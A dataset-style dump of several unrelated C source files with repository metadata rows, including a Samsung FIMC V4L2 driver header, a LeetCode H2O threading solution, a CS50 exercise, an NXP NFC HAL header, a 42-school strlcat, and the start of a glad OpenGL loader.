* @reqbufs_count: the number of buffers requested in REQBUFS ioctl
* @input_index: input (camera sensor) index
* @refcnt: driver's private reference counter
* @input: capture input type, grp_id of the attached subdev
* @user_subdev_api: true if subdevs are not configured by the host driver
*/
struct fimc_vid_cap {
struct fimc_ctx *ctx;
struct vb2_alloc_ctx *alloc_ctx;
struct video_device vfd;
struct v4l2_subdev subdev;
struct media_pad vd_pad;
struct v4l2_mbus_framefmt mf;
struct media_pad sd_pads[FIMC_SD_PADS_NUM];
struct list_head pending_buf_q;
struct list_head active_buf_q;
struct vb2_queue vbq;
int active_buf_cnt;
int buf_index;
unsigned int frame_count;
unsigned int reqbufs_count;
int input_index;
int refcnt;
u32 input;
bool user_subdev_api;
};
/**
* struct fimc_pix_limit - image pixel size limits in various IP configurations
*
* @scaler_en_w: max input pixel width when the scaler is enabled
* @scaler_dis_w: max input pixel width when the scaler is disabled
* @in_rot_en_h: max input width with the input rotator is on
* @in_rot_dis_w: max input width with the input rotator is off
* @out_rot_en_w: max output width with the output rotator on
* @out_rot_dis_w: max output width with the output rotator off
*/
struct fimc_pix_limit {
u16 scaler_en_w;
u16 scaler_dis_w;
u16 in_rot_en_h;
u16 in_rot_dis_w;
u16 out_rot_en_w;
u16 out_rot_dis_w;
};
/**
* struct fimc_variant - FIMC device variant information
* @pix_hoff: indicate whether horizontal offset is in pixels or in bytes
* @has_inp_rot: set if has input rotator
* @has_out_rot: set if has output rotator
* @has_cistatus2: 1 if CISTATUS2 register is present in this IP revision
* @has_mainscaler_ext: 1 if extended mainscaler ratios in CIEXTEN register
* are present in this IP revision
* @has_cam_if: set if this instance has a camera input interface
* @pix_limit: pixel size constraints for the scaler
* @min_inp_pixsize: minimum input pixel size
* @min_out_pixsize: minimum output pixel size
* @hor_offs_align: horizontal pixel offset aligment
* @min_vsize_align: minimum vertical pixel size alignment
* @out_buf_count: the number of buffers in output DMA sequence
*/
struct fimc_variant {
unsigned int pix_hoff:1;
unsigned int has_inp_rot:1;
unsigned int has_out_rot:1;
unsigned int has_cistatus2:1;
unsigned int has_mainscaler_ext:1;
unsigned int has_cam_if:1;
unsigned int has_alpha:1;
struct fimc_pix_limit *pix_limit;
u16 min_inp_pixsize;
u16 min_out_pixsize;
u16 hor_offs_align;
u16 min_vsize_align;
u16 out_buf_count;
};
/**
* struct fimc_drvdata - per device type driver data
* @variant: variant information for this device
* @num_entities: number of fimc instances available in a SoC
* @lclk_frequency: local bus clock frequency
*/
struct fimc_drvdata {
struct fimc_variant *variant[FIMC_MAX_DEVS];
int num_entities;
unsigned long lclk_frequency;
};
#define fimc_get_drvdata(_pdev) \
((struct fimc_drvdata *) platform_get_device_id(_pdev)->driver_data)
struct fimc_ctx;
/**
* struct fimc_dev - abstraction for FIMC entity
* @slock: the spinlock protecting this data structure
* @lock: the mutex protecting this data structure
* @pdev: pointer to the FIMC platform device
* @pdata: pointer to the device platform data
* @variant: the IP variant information
* @id: FIMC device index (0..FIMC_MAX_DEVS)
* @clock: clocks required for FIMC operation
* @regs: the mapped hardware registers
* @irq_queue: interrupt handler waitqueue
* @v4l2_dev: root v4l2_device
* @m2m: memory-to-memory V4L2 device information
* @vid_cap: camera capture device information
* @state: flags used to synchronize m2m and capture mode operation
* @alloc_ctx: videobuf2 memory allocator context
* @pipeline: fimc video capture pipeline data structure
*/
struct fimc_dev {
spinlock_t slock;
struct mutex lock;
struct platform_device *pdev;
struct s5p_platform_fimc *pdata;
struct fimc_variant *variant;
u16 id;
struct clk *clock[MAX_FIMC_CLOCKS];
void __iomem *regs;
wait_queue_head_t irq_queue;
struct v4l2_device *v4l2_dev;
struct fimc_m2m_device m2m;
struct fimc_vid_cap vid_cap;
unsigned long state;
struct vb2_alloc_ctx *alloc_ctx;
struct fimc_pipeline pipeline;
};
/**
* struct fimc_ctrls - v4l2 controls structure
* @handler: the control handler
* @colorfx: image effect control
* @colorfx_cbcr: Cb/Cr coefficients control
* @rotate: image rotation control
* @hflip: horizontal flip control
* @vflip: vertical flip control
* @alpha: RGB alpha control
* @ready: true if @handler is initialized
*/
struct fimc_ctrls {
struct v4l2_ctrl_handler handler;
struct {
struct v4l2_ctrl *colorfx;
struct v4l2_ctrl *colorfx_cbcr;
};
struct v4l2_ctrl *rotate;
struct v4l2_ctrl *hflip;
struct v4l2_ctrl *vflip;
struct v4l2_ctrl *alpha;
bool ready;
};
/**
* fimc_ctx - the device context data
* @s_frame: source frame properties
* @d_frame: destination frame properties
* @out_order_1p: output 1-plane YCBCR order
* @out_order_2p: output 2-plane YCBCR order
* @in_order_1p input 1-plane YCBCR order
* @in_order_2p: input 2-plane YCBCR order
* @in_path: input mode (DMA or camera)
* @out_path: output mode (DMA or FIFO)
* @scaler: image scaler properties
* @effect: image effect
* @rotation: image clockwise rotation in degrees
* @hflip: indicates image horizontal flip if set
* @vflip: indicates image vertical flip if set
* @flags: additional flags for image conversion
* @state: flags to keep track of user configuration
* @fimc_dev: the FIMC device this context applies to
* @m2m_ctx: memory-to-memory device context
* @fh: v4l2 file handle
* @ctrls: v4l2 controls structure
*/
struct fimc_ctx {
struct fimc_frame s_frame;
struct fimc_frame d_frame;
u32 out_order_1p;
u32 out_order_2p;
u32 in_order_1p;
u32 in_order_2p;
enum fimc_datapath in_path;
enum fimc_datapath out_path;
struct fimc_scaler scaler;
struct fimc_effect effect;
int rotation;
unsigned int hflip:1;
unsigned int vflip:1;
u32 flags;
u32 state;
struct fimc_dev *fimc_dev;
struct v4l2_m2m_ctx *m2m_ctx;
struct v4l2_fh fh;
struct fimc_ctrls ctrls;
};
#define fh_to_ctx(__fh) container_of(__fh, struct fimc_ctx, fh)
static inline void set_frame_bounds(struct fimc_frame *f, u32 width, u32 height)
{
f->o_width = width;
f->o_height = height;
f->f_width = width;
f->f_height = height;
}
static inline void set_frame_crop(struct fimc_frame *f,
u32 left, u32 top, u32 width, u32 height)
{
f->offs_h = left;
f->offs_v = top;
f->width = width;
f->height = height;
}
static inline u32 fimc_get_format_depth(struct fimc_fmt *ff)
{
u32 i, depth = 0;
if (ff != NULL)
for (i = 0; i < ff->colplanes; i++)
depth += ff->depth[i];
return depth;
}
static inline bool fimc_capture_active(struct fimc_dev *fimc)
{
unsigned long flags;
bool ret;
spin_lock_irqsave(&fimc->slock, flags);
ret = !!(fimc->state & (1 << ST_CAPT_RUN) ||
fimc->state & (1 << ST_CAPT_PEND));
spin_unlock_irqrestore(&fimc->slock, flags);
return ret;
}
static inline void fimc_ctx_state_set(u32 state, struct fimc_ctx *ctx)
{
unsigned long flags;
spin_lock_irqsave(&ctx->fimc_dev->slock, flags);
ctx->state |= state;
spin_unlock_irqrestore(&ctx->fimc_dev->slock, flags);
}
static inline bool fimc_ctx_state_is_set(u32 mask, struct fimc_ctx *ctx)
{
unsigned long flags;
bool ret;
spin_lock_irqsave(&ctx->fimc_dev->slock, flags);
ret = (ctx->state & mask) == mask;
spin_unlock_irqrestore(&ctx->fimc_dev->slock, flags);
return ret;
}
static inline int tiled_fmt(struct fimc_fmt *fmt)
{
return fmt->fourcc == V4L2_PIX_FMT_NV12MT;
}
/* Return the alpha component bit mask */
static inline int fimc_get_alpha_mask(struct fimc_fmt *fmt)
{
switch (fmt->color) {
case FIMC_FMT_RGB444: return 0x0f;
case FIMC_FMT_RGB555: return 0x01;
case FIMC_FMT_RGB888: return 0xff;
default: return 0;
};
}
static inline struct fimc_frame *ctx_get_frame(struct fimc_ctx *ctx,
enum v4l2_buf_type type)
{
struct fimc_frame *frame;
if (V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE == type) {
if (fimc_ctx_state_is_set(FIMC_CTX_M2M, ctx))
frame = &ctx->s_frame;
else
return ERR_PTR(-EINVAL);
} else if (V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE == type) {
frame = &ctx->d_frame;
} else {
v4l2_err(ctx->fimc_dev->v4l2_dev,
"Wrong buffer/video queue type (%d)\n", type);
return ERR_PTR(-EINVAL);
}
return frame;
}
/* -----------------------------------------------------*/
/* fimc-core.c */
int fimc_vidioc_enum_fmt_mplane(struct file *file, void *priv,
struct v4l2_fmtdesc *f);
int fimc_ctrls_create(struct fimc_ctx *ctx);
void fimc_ctrls_delete(struct fimc_ctx *ctx);
void fimc_ctrls_activate(struct fimc_ctx *ctx, bool active);
void fimc_alpha_ctrl_update(struct fimc_ctx *ctx);
int fimc_fill_format(struct fimc_frame *frame, struct v4l2_format *f);
void fimc_adjust_mplane_format(struct fimc_fmt *fmt, u32 width, u32 height,
struct v4l2_pix_format_mplane *pix);
struct fimc_fmt *fimc_find_format(const u32 *pixelformat, const u32 *mbus_code,
unsigned int mask, int index);
struct fimc_fmt *fimc_get_format(unsigned int index);
int fimc_check_scaler_ratio(struct fimc_ctx *ctx, int sw, int sh,
int dw, int dh, int rotation);
int fimc_set_scaler_info(struct fimc_ctx *ctx);
int fimc_prepare_config(struct fimc_ctx *ctx, u32 flags);
int fimc_prepare_addr(struct fimc_ctx *ctx, struct vb2_buffer *vb,
struct fimc_frame *frame, struct fimc_addr *paddr);
void fimc_prepare_dma_offset(struct fimc_ctx *ctx, struct fimc_frame *f);
void fimc_set_yuv_order(struct fimc_ctx *ctx);
void fimc_fill_frame(struct fimc_frame *frame, struct v4l2_format *f);
void fimc_capture_irq_handler(struct fimc_dev *fimc, int deq_buf);
int fimc_register_m2m_device(struct fimc_dev *fimc,
struct v4l2_device *v4l2_dev);
void fimc_unregister_m2m_device(struct fimc_dev *fimc);
int fimc_register_driver(void);
void fimc_unregister_driver(void);
/* -----------------------------------------------------*/
/* fimc-m2m.c */
void fimc_m2m_job_finish(struct fimc_ctx *ctx, int vb_state);
/* -----------------------------------------------------*/
/* fimc-capture.c */
int fimc_initialize_capture_subdev(struct fimc_dev *fimc);
void fimc_unregister_capture_subdev(struct fimc_dev *fimc);
int fimc_capture_ctrls_create(struct fimc_dev *fimc);
void fimc_sensor_notify(struct v4l2_subdev *sd, unsigned int notification,
void *arg);
int fimc_capture_suspend(struct fimc_dev *fimc);
int fimc_capture_resume(struct fimc_dev *fimc);
/*
* Buffer list manipulation functions. Must be called with fimc.slock held.
*/
/**
* fimc_active_queue_add - add buffer to the capture active buffers queue
* @buf: buffer to add to the active buffers list
*/
static inline void fimc_active_queue_add(struct fimc_vid_cap *vid_cap,
struct fimc_vid_buffer *buf)
{
list_add_tail(&buf->list, &vid_cap->active_buf_q);
vid_cap->active_buf_cnt++;
}
/**
* fimc_active_queue_pop - pop buffer from the capture active buffers queue
*
* The caller must assure the active_buf_q list is not empty.
*/
static inline struct fimc_vid_buffer *fimc_active_queue_pop(
struct fimc_vid_cap *vid_cap)
{
struct fimc_vid_buffer *buf;
buf = list_entry(vid_cap->active_buf_q.next,
struct fimc_vid_buffer, list);
list_del(&buf->list);
vid_cap->active_buf_cnt--;
return buf;
}
/**
* fimc_pending_queue_add - add buffer to the capture pending buffers queue
* @buf: buffer to add to the pending buffers list
*/
static inline void fimc_pending_queue_add(struct fimc_vid_cap *vid_cap,
struct fimc_vid_buffer *buf)
{
list_add_tail(&buf->list, &vid_cap->pending_buf_q);
}
/**
* fimc_pending_queue_pop - pop buffer from the capture pending buffers queue
*
* The caller must assure the pending_buf_q list is not empty.
*/
static inline struct fimc_vid_buffer *fimc_pending_queue_pop(
struct fimc_vid_cap *vid_cap)
{
struct fimc_vid_buffer *buf;
buf = list_entry(vid_cap->pending_buf_q.next,
struct fimc_vid_buffer, list);
list_del(&buf->list);
return buf;
}
#endif /* FIMC_CORE_H_ */
| [
"sharma_anil@yahoo.com"
] | sharma_anil@yahoo.com |
ce85df87ce90c7546e33870699ac1498a79cceb7 | 3587e1e87f426382d301fa36f92492c67b0a5359 | /leetcode/building-h2o/solve.c | bacc24ffb442b31b1b9c8f12aa67fec51a3b1df0 | [] | no_license | tt67wq/euler_project | b3e714373e36436d1d504a560ee32b5556a4964b | 843cd66a81032a5cdf140b59eaa95b3600a249b7 | refs/heads/master | 2023-05-25T11:57:13.726509 | 2023-05-22T02:42:20 | 2023-05-22T02:42:20 | 109,090,240 | 30 | 1 | null | null | null | null | UTF-8 | C | false | false | 2,233 | c | /*
* =====================================================================================
*
* Filename: solve.c
*
* Description: 氢氧同步
*
* Version: 1.0
* Created: 2020-01-18
* Revision: none
* Compiler: clang
*
* Author:
*
* =====================================================================================
*/
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
typedef struct {
// User defined data may be declared here.
pthread_mutex_t *mutex;
pthread_cond_t *cond;
int hc;
int oc;
} H2O;
H2O *h2oCreate() {
H2O *obj = (H2O *)malloc(sizeof(H2O));
obj->mutex = (pthread_mutex_t *)calloc(1, sizeof(pthread_mutex_t));
obj->cond = (pthread_cond_t *)calloc(1, sizeof(pthread_cond_t));
// Initialize user defined data here.
pthread_mutex_init(obj->mutex, NULL);
pthread_cond_init(obj->cond, NULL);
obj->hc = 0;
obj->oc = 0;
return obj;
}
void hydrogen(H2O *obj) {
// releaseHydrogen() outputs "H". Do not change or remove this line.
pthread_mutex_lock(obj->mutex);
while (obj->hc == 2 && obj->oc == 0) {
pthread_cond_wait(obj->cond, obj->mutex);
}
if (obj->hc == 2 && obj->oc == 1) {
obj->hc = 0;
obj->oc = 0;
}
releaseHydrogen();
obj->hc++;
pthread_mutex_unlock(obj->mutex);
pthread_cond_signal(obj->cond);
}
void oxygen(H2O *obj) {
// releaseOxygen() outputs "O". Do not change or remove this line.
pthread_mutex_lock(obj->mutex);
while (obj->oc >= obj->hc) {
pthread_cond_wait(obj->cond, obj->mutex);
}
if (obj->hc == 2 && obj->oc == 1) {
obj->hc = 0;
obj->oc = 0;
}
releaseOxygen();
obj->oc++;
pthread_mutex_unlock(obj->mutex);
pthread_cond_signal(obj->cond);
}
void h2oFree(H2O *obj) {
// User defined data may be cleaned up here.
pthread_mutex_destroy(obj->mutex);
pthread_cond_destroy(obj->cond);
free(obj);
}
int main() { return 0; }
| [
"alex@mys4s.cn"
] | alex@mys4s.cn |
12eb379879491f52c899da77b0067e2c306d4c3a | 661143b5608ca8de6e5de835913ba1c909d92339 | /positive.c | 4f64980ca62cf2b85bdc16416dc5da55ac9b3add | [] | no_license | ChillStreet/CS50x | d89d90d08b38b141d0e73f9771d5381c2e992ab3 | 201fd24b9679f6fbf93a9b111ee897f17df22bae | refs/heads/main | 2023-03-31T12:46:13.601798 | 2021-04-05T15:43:28 | 2021-04-05T15:43:28 | 332,439,891 | 0 | 0 | null | 2021-01-26T14:58:23 | 2021-01-24T12:08:50 | C | UTF-8 | C | false | false | 323 | c | #include <cs50.h>
#include <stdio.h>
int get_positive_int(void);
int main (void)
{
int i = get_positive_int();
printf("%i\n", i);
}
//Prompt user for positive integer
int get_positive_int(void)
{
int n;
do
{
n = get_int("Enter a positive integer: ");
}
while (n < 1);
return n;
}
| [
"noreply@github.com"
] | ChillStreet.noreply@github.com |
1764fe7ccdbbc4cf890dedc997460e6771c6709c | a0986ce87fbed37e88c86a60108adc5d34dfeb17 | /aosp/external/libnfc-nci/halimpl/pn547/utils/phNxpNciHal_utils.h | 60495605a3fbd30d3b1326204b49ce0587977040 | [] | no_license | xsbh0310/android_nxp-nci | ba93c413f1f8e8be92b99cc9a0280d64e9a7b3bb | 9cfe6842d1ba9bb3d0c19f00f7b7c74a7835b001 | refs/heads/master | 2021-01-23T20:11:55.614943 | 2015-06-05T06:33:18 | 2015-06-05T06:33:18 | 40,778,550 | 1 | 0 | null | 2015-08-15T18:51:59 | 2015-08-15T18:51:59 | null | UTF-8 | C | false | false | 4,068 | h | /*
* Copyright (C) 2010 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
*
* The original Work has been changed by NXP Semiconductors.
*
* Copyright (C) 2013-2014 NXP Semiconductors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#ifndef _PHNXPNCIHAL_UTILS_H_
#define _PHNXPNCIHAL_UTILS_H_
#include <pthread.h>
#include <semaphore.h>
#include <phNfcStatus.h>
#include <assert.h>
/********************* Definitions and structures *****************************/
/* List structures */
struct listNode
{
void* pData;
struct listNode* pNext;
};
struct listHead
{
struct listNode* pFirst;
pthread_mutex_t mutex;
};
/* Semaphore handling structure */
typedef struct phNxpNciHal_Sem
{
/* Semaphore used to wait for callback */
sem_t sem;
/* Used to store the status sent by the callback */
NFCSTATUS status;
/* Used to provide a local context to the callback */
void* pContext;
} phNxpNciHal_Sem_t;
/* Semaphore helper macros */
#define SEM_WAIT(cb_data) sem_wait(&((cb_data).sem))
#define SEM_POST(p_cb_data) sem_post(&((p_cb_data)->sem))
/* Semaphore and mutex monitor */
typedef struct phNxpNciHal_Monitor
{
/* Mutex protecting native library against reentrance */
pthread_mutex_t reentrance_mutex;
/* Mutex protecting native library against concurrency */
pthread_mutex_t concurrency_mutex;
/* List used to track pending semaphores waiting for callback */
struct listHead sem_list;
} phNxpNciHal_Monitor_t;
/************************ Exposed functions ***********************************/
/* List functions */
int listInit(struct listHead* pList);
int listDestroy(struct listHead* pList);
int listAdd(struct listHead* pList, void* pData);
int listRemove(struct listHead* pList, void* pData);
int listGetAndRemoveNext(struct listHead* pList, void** ppData);
void listDump(struct listHead* pList);
/* NXP NCI HAL utility functions */
phNxpNciHal_Monitor_t* phNxpNciHal_init_monitor(void);
void phNxpNciHal_cleanup_monitor(void);
phNxpNciHal_Monitor_t* phNxpNciHal_get_monitor(void);
NFCSTATUS phNxpNciHal_init_cb_data(phNxpNciHal_Sem_t *pCallbackData,
void *pContext);
void phNxpNciHal_cleanup_cb_data(phNxpNciHal_Sem_t* pCallbackData);
void phNxpNciHal_releaseall_cb_data(void);
void phNxpNciHal_print_packet(const char *pString, const uint8_t *p_data,
uint16_t len);
void phNxpNciHal_emergency_recovery(void);
/* Lock unlock helper macros */
#define REENTRANCE_LOCK() pthread_mutex_lock(&phNxpNciHal_get_monitor()->reentrance_mutex)
#define REENTRANCE_UNLOCK() pthread_mutex_unlock(&phNxpNciHal_get_monitor()->reentrance_mutex)
#define CONCURRENCY_LOCK() pthread_mutex_lock(&phNxpNciHal_get_monitor()->concurrency_mutex)
#define CONCURRENCY_UNLOCK() pthread_mutex_unlock(&phNxpNciHal_get_monitor()->concurrency_mutex)
#endif /* _PHNXPNCIHAL_UTILS_H_ */
| [
"jeremy.geslin@nxp.com"
] | jeremy.geslin@nxp.com |
ae711732e8bc08374e9fa0f6629517d8b8e30f65 | 79499869a3ff3f098fd9c2cb1daddaa456ce7717 | /libft/ft_strlcat.c | eba8db1ef8c6f78bee9c9e5a6795217361804b85 | [] | no_license | nikGrape/GNL | 29e7440924aef13938441924660e3091c60ad0c0 | 21a880046864d7acb9c783f4f8800a51c9bf80eb | refs/heads/master | 2020-05-22T22:30:18.181661 | 2019-06-01T19:30:37 | 2019-06-01T19:30:37 | 186,547,023 | 11 | 2 | null | null | null | null | UTF-8 | C | false | false | 1,235 | c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strlcat.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: vinograd <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/05/03 14:59:22 by vinograd #+# #+# */
/* Updated: 2019/05/03 16:31:24 by vinograd ### ########.fr */
/* */
/* ************************************************************************** */
#include "libft.h"
size_t ft_strlcat(char *restrict dst, const char \
*restrict src, size_t dstsize)
{
size_t len_dst;
size_t len_src;
len_dst = ft_strlen(dst);
len_src = ft_strlen(src);
if (dstsize <= len_dst)
return (len_src + dstsize);
else
ft_strncat(dst, (char*)src, dstsize - len_dst - 1);
return (len_dst + len_src);
}
| [
"vinograd@e1z2r7p24.42.us.org"
] | vinograd@e1z2r7p24.42.us.org |
8d11772573df3ea877f5f720a8e4aa344db172d2 | 9da3de618a43abede9e781d8405712acf183624c | /src/glad.c | 4a60334397b668965e6888790dafd05dd2ca9b7e | [] | no_license | pochka15/x86-project | 9921db20b541552175db55e4774a1e90f23d8847 | 41cab1a1308da60f5933f8fe9de9487e015b78c5 | refs/heads/master | 2020-12-06T08:42:59.567806 | 2020-01-07T22:03:23 | 2020-01-07T22:03:23 | 232,413,615 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 112,212 | c | /*
OpenGL loader generated by glad 0.1.28 on Fri Jan 18 18:30:52 2019.
Language/Generator: C/C++
Specification: gl
APIs: gl=4.5
Profile: core
Extensions:
Loader: True
Local files: False
Omit khrplatform: False
Reproducible: False
Commandline:
--profile="core" --api="gl=4.5" --generator="c" --spec="gl" --extensions=""
Online:
https://glad.dav1d.de/#profile=core&language=c&specification=gl&loader=on&api=gl%3D4.5
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "glad/glad.h"
static void* get_proc(const char *namez);
#if defined(_WIN32) || defined(__CYGWIN__)
#include <windows.h>
static HMODULE libGL;
typedef void* (APIENTRYP PFNWGLGETPROCADDRESSPROC_PRIVATE)(const char*);
static PFNWGLGETPROCADDRESSPROC_PRIVATE gladGetProcAddressPtr;
#ifdef _MSC_VER
#ifdef __has_include
#if __has_include(<winapifamily.h>)
#define HAVE_WINAPIFAMILY 1
#endif
#elif _MSC_VER >= 1700 && !_USING_V110_SDK71_
#define HAVE_WINAPIFAMILY 1
#endif
#endif
#ifdef HAVE_WINAPIFAMILY
#include <winapifamily.h>
#if !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP)
#define IS_UWP 1
#endif
#endif
static
int open_gl(void) {
#ifndef IS_UWP
libGL = LoadLibraryW(L"opengl32.dll");
if(libGL != NULL) {
void (* tmp)(void);
tmp = (void(*)(void)) GetProcAddress(libGL, "wglGetProcAddress");
gladGetProcAddressPtr = (PFNWGLGETPROCADDRESSPROC_PRIVATE) tmp;
return gladGetProcAddressPtr != NULL;
}
#endif
return 0;
}
static
void close_gl(void) {
if(libGL != NULL) {
FreeLibrary((HMODULE) libGL);
libGL = NULL;
}
}
#else
#include <dlfcn.h>
static void* libGL;
#if !defined(__APPLE__) && !defined(__HAIKU__)
typedef void* (APIENTRYP PFNGLXGETPROCADDRESSPROC_PRIVATE)(const char*);
static PFNGLXGETPROCADDRESSPROC_PRIVATE gladGetProcAddressPtr;
#endif
static
int open_gl(void) {
#ifdef __APPLE__
static const char *NAMES[] = {
"../Frameworks/OpenGL.framework/OpenGL",
"/Library/Frameworks/OpenGL.framework/OpenGL",
"/System/Library/Frameworks/OpenGL.framework/OpenGL",
"/System/Library/Frameworks/OpenGL.framework/Versions/Current/OpenGL"
};
#else
static const char *NAMES[] = {"libGL.so.1", "libGL.so"};
#endif
unsigned int index = 0;
for(index = 0; index < (sizeof(NAMES) / sizeof(NAMES[0])); index++) {
libGL = dlopen(NAMES[index], RTLD_NOW | RTLD_GLOBAL);
if(libGL != NULL) {
#if defined(__APPLE__) || defined(__HAIKU__)
return 1;
#else
gladGetProcAddressPtr = (PFNGLXGETPROCADDRESSPROC_PRIVATE)dlsym(libGL,
"glXGetProcAddressARB");
return gladGetProcAddressPtr != NULL;
#endif
}
}
return 0;
}
static
void close_gl(void) {
if(libGL != NULL) {
dlclose(libGL);
libGL = NULL;
}
}
#endif
static
void* get_proc(const char *namez) {
void* result = NULL;
if(libGL == NULL) return NULL;
#if !defined(__APPLE__) && !defined(__HAIKU__)
if(gladGetProcAddressPtr != NULL) {
result = gladGetProcAddressPtr(namez);
}
#endif
if(result == NULL) {
#if defined(_WIN32) || defined(__CYGWIN__)
result = (void*)GetProcAddress((HMODULE) libGL, namez);
#else
result = dlsym(libGL, namez);
#endif
}
return result;
}
int gladLoadGL(void) {
int status = 0;
if(open_gl()) {
status = gladLoadGLLoader(&get_proc);
close_gl();
}
return status;
}
struct gladGLversionStruct GLVersion = { 0, 0 };
#if defined(GL_ES_VERSION_3_0) || defined(GL_VERSION_3_0)
#define _GLAD_IS_SOME_NEW_VERSION 1
#endif
static int max_loaded_major;
static int max_loaded_minor;
static const char *exts = NULL;
static int num_exts_i = 0;
static char **exts_i = NULL;
static int get_exts(void) {
#ifdef _GLAD_IS_SOME_NEW_VERSION
if(max_loaded_major < 3) {
#endif
exts = (const char *)glGetString(GL_EXTENSIONS);
#ifdef _GLAD_IS_SOME_NEW_VERSION
} else {
unsigned int index;
num_exts_i = 0;
glGetIntegerv(GL_NUM_EXTENSIONS, &num_exts_i);
if (num_exts_i > 0) {
char **tmp_exts_i = (char **)realloc((void *)exts_i, (size_t)num_exts_i * (sizeof *exts_i));
if (tmp_exts_i == NULL) {
return 0;
}
exts_i = tmp_exts_i;
}
if (exts_i == NULL) {
return 0;
}
for(index = 0; index < (unsigned)num_exts_i; index++) {
const char *gl_str_tmp = (const char*)glGetStringi(GL_EXTENSIONS, index);
size_t len = strlen(gl_str_tmp);
char *local_str = (char*)malloc((len+1) * sizeof(char));
if(local_str != NULL) {
memcpy(local_str, gl_str_tmp, (len+1) * sizeof(char));
}
exts_i[index] = local_str;
}
}
#endif
return 1;
}
static void free_exts(void) {
if (exts_i != NULL) {
int index;
for(index = 0; index < num_exts_i; index++) {
free((char *)exts_i[index]);
}
free((void *)exts_i);
exts_i = NULL;
}
}
static int has_ext(const char *ext) {
#ifdef _GLAD_IS_SOME_NEW_VERSION
if(max_loaded_major < 3) {
#endif
const char *extensions;
const char *loc;
const char *terminator;
extensions = exts;
if(extensions == NULL || ext == NULL) {
return 0;
}
while(1) {
loc = strstr(extensions, ext);
if(loc == NULL) {
return 0;
}
terminator = loc + strlen(ext);
if((loc == extensions || *(loc - 1) == ' ') &&
(*terminator == ' ' || *terminator == '\0')) {
return 1;
}
extensions = terminator;
}
#ifdef _GLAD_IS_SOME_NEW_VERSION
} else {
int index;
if(exts_i == NULL) return 0;
for(index = 0; index < num_exts_i; index++) {
const char *e = exts_i[index];
if(exts_i[index] != NULL && strcmp(e, ext) == 0) {
return 1;
}
}
}
#endif
return 0;
}
int GLAD_GL_VERSION_1_0 = 0;
int GLAD_GL_VERSION_1_1 = 0;
int GLAD_GL_VERSION_1_2 = 0;
int GLAD_GL_VERSION_1_3 = 0;
int GLAD_GL_VERSION_1_4 = 0;
int GLAD_GL_VERSION_1_5 = 0;
int GLAD_GL_VERSION_2_0 = 0;
int GLAD_GL_VERSION_2_1 = 0;
int GLAD_GL_VERSION_3_0 = 0;
int GLAD_GL_VERSION_3_1 = 0;
int GLAD_GL_VERSION_3_2 = 0;
int GLAD_GL_VERSION_3_3 = 0;
int GLAD_GL_VERSION_4_0 = 0;
int GLAD_GL_VERSION_4_1 = 0;
int GLAD_GL_VERSION_4_2 = 0;
int GLAD_GL_VERSION_4_3 = 0;
int GLAD_GL_VERSION_4_4 = 0;
int GLAD_GL_VERSION_4_5 = 0;
PFNGLACTIVESHADERPROGRAMPROC glad_glActiveShaderProgram = NULL;
PFNGLACTIVETEXTUREPROC glad_glActiveTexture = NULL;
PFNGLATTACHSHADERPROC glad_glAttachShader = NULL;
PFNGLBEGINCONDITIONALRENDERPROC glad_glBeginConditionalRender = NULL;
PFNGLBEGINQUERYPROC glad_glBeginQuery = NULL;
PFNGLBEGINQUERYINDEXEDPROC glad_glBeginQueryIndexed = NULL;
PFNGLBEGINTRANSFORMFEEDBACKPROC glad_glBeginTransformFeedback = NULL;
PFNGLBINDATTRIBLOCATIONPROC glad_glBindAttribLocation = NULL;
PFNGLBINDBUFFERPROC glad_glBindBuffer = NULL;
PFNGLBINDBUFFERBASEPROC glad_glBindBufferBase = NULL;
PFNGLBINDBUFFERRANGEPROC glad_glBindBufferRange = NULL;
PFNGLBINDBUFFERSBASEPROC glad_glBindBuffersBase = NULL;
PFNGLBINDBUFFERSRANGEPROC glad_glBindBuffersRange = NULL;
PFNGLBINDFRAGDATALOCATIONPROC glad_glBindFragDataLocation = NULL;
PFNGLBINDFRAGDATALOCATIONINDEXEDPROC glad_glBindFragDataLocationIndexed = NULL;
PFNGLBINDFRAMEBUFFERPROC glad_glBindFramebuffer = NULL;
PFNGLBINDIMAGETEXTUREPROC glad_glBindImageTexture = NULL;
PFNGLBINDIMAGETEXTURESPROC glad_glBindImageTextures = NULL;
PFNGLBINDPROGRAMPIPELINEPROC glad_glBindProgramPipeline = NULL;
PFNGLBINDRENDERBUFFERPROC glad_glBindRenderbuffer = NULL;
PFNGLBINDSAMPLERPROC glad_glBindSampler = NULL;
PFNGLBINDSAMPLERSPROC glad_glBindSamplers = NULL;
PFNGLBINDTEXTUREPROC glad_glBindTexture = NULL;
PFNGLBINDTEXTUREUNITPROC glad_glBindTextureUnit = NULL;
PFNGLBINDTEXTURESPROC glad_glBindTextures = NULL;
PFNGLBINDTRANSFORMFEEDBACKPROC glad_glBindTransformFeedback = NULL;
PFNGLBINDVERTEXARRAYPROC glad_glBindVertexArray = NULL;
PFNGLBINDVERTEXBUFFERPROC glad_glBindVertexBuffer = NULL;
PFNGLBINDVERTEXBUFFERSPROC glad_glBindVertexBuffers = NULL;
PFNGLBLENDCOLORPROC glad_glBlendColor = NULL;
